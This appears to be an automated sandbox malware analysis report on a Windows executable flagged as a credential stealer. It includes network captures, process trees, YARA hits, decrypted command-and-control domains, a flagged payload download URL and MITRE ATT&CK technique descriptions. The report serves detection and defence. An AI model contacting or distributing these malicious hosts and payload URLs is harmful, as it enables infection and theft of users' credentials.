2024-11-17 03:39:09 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49737	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:39:08 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 03:39:08 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=47181 Date: Sun, 17 Nov 2024 03:39:08 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49744	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:39:09 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 03:39:09 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=47193 Date: Sun, 17 Nov 2024 03:39:09 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-17 03:39:09 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49812	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:39:29 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlA34d4DUsMhWbU&MD=uDoZx1Pk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 03:39:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ef246a1d-24b6-4d04-9087-17b384c6e452 MS-RequestId: 29b4345c-7cf8-42a8-9ee0-fa88305a9cd2 MS-CV: +EQdSbnXbUKlQROE.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 03:39:28 GMT Connection: close Content-Length: 30005
2024-11-17 03:39:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-17 03:39:29 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	22:38:31
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd50000
File size:	1'863'680 bytes
MD5 hash:	DE810F69440FFACC0EA1945C6C177927
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1506159813.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1506112755.00000000017CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1491292627.00000000017D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:39:01
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:39:01
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1880,i,16753807270893997774,2862388317102708426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:39:03
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:39:03
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1912,i,4107251576710729369,6142206982357749520,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 069C67FE Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

.t_/, xrefs: 069C6C1C

Memory Dump Source

Source File: 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: true

Associated: 00000000.00000002.1779463417.0000000006820000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779488854.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779507643.0000000006826000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.000000000682A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AC3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6820000_file.jbxd

Similarity

API ID:
String ID: .t_/
API String ID: 0-2762193759
Opcode ID: b14c65789fc9e862470d2b185904f9093b2b27d3aa6059d25780826102844241
Instruction ID: 3927654f629d52eabd3de2846646ada94d696d75911c1d785fe17811a4ce3baf
Opcode Fuzzy Hash: b14c65789fc9e862470d2b185904f9093b2b27d3aa6059d25780826102844241
Instruction Fuzzy Hash: 5551ABB290C210DFF789AF18DC85A7ABBE4EB54330F05492DEAC697A40E6355C548BC7

Function 069CA2B7 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: true

Associated: 00000000.00000002.1779463417.0000000006820000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779488854.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779507643.0000000006826000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.000000000682A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AC3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6820000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1fd166dd3a0f7df888500ffddc53dac01bb53fb721423e5a4579a0e10dcda80
Instruction ID: e347eb59f2e6100dabda6fcf676129493ffff8d90843608c3875438d58a04bd1
Opcode Fuzzy Hash: f1fd166dd3a0f7df888500ffddc53dac01bb53fb721423e5a4579a0e10dcda80
Instruction Fuzzy Hash: E04138B211C604EFE341AF68DC857AAFBE4FF58320F014D2DE6D482A10E33198508B97

Function 069CA2C5 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: true

Associated: 00000000.00000002.1779463417.0000000006820000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779488854.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779507643.0000000006826000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.000000000682A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AC3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6820000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b2ac1d9456ef81b64f883a800e9576f53487c2f419c5c12bd40db378e677390
Instruction ID: fde2cd7cfd157dea62f99b5bf4a27afacc87c10950a468d4c4402cbe6a54aac3
Opcode Fuzzy Hash: 1b2ac1d9456ef81b64f883a800e9576f53487c2f419c5c12bd40db378e677390
Instruction Fuzzy Hash: 0B416CB250C304AFE311AF68D8857AABBE4FF19310F06492CEAD083611E3369851DB97

Function 069CA61C Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: true

Associated: 00000000.00000002.1779463417.0000000006820000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779488854.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779507643.0000000006826000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.000000000682A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AC3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6820000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d110d6837d9f931dc66c5e284c2bc43e8a6b5e4bd235edca04dff50efd183a0
Instruction ID: b21f2ffb5343ca37d14f0e6d554b4f3cf3e635dd1459c64a6e70bdf8884375f9
Opcode Fuzzy Hash: 8d110d6837d9f931dc66c5e284c2bc43e8a6b5e4bd235edca04dff50efd183a0
Instruction Fuzzy Hash: D33158B250C600AFE755AE29D8856AEFBE4EF84320F06493DE6C583B00E7319844CB87

Function 069C2CCB Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06820000, based on PE: true

Associated: 00000000.00000002.1779463417.0000000006820000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779488854.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779507643.0000000006826000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.000000000682A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AC3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1779536796.0000000006AD4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6820000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d0a5ab0b930ee5e5a4369105b67074831252a88c60018f0aca9bddc043eb928
Instruction ID: 82e625a74c30e5642dd294c4112846f0afc7a8522f59fb48b020bf82bd5c9379
Opcode Fuzzy Hash: 5d0a5ab0b930ee5e5a4369105b67074831252a88c60018f0aca9bddc043eb928
Instruction Fuzzy Hash: 18E04F760051019AC7009F54D84699FFBF8FF19321F609449E484C7622C2754941CB2A

Source: http://185.215.113.16/steam/random.exe2l	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/apiecked	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/_	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apibn	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/8	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/z	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/_OF	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/k_	Avira URL Cloud: Label: malware

Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1774548755.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

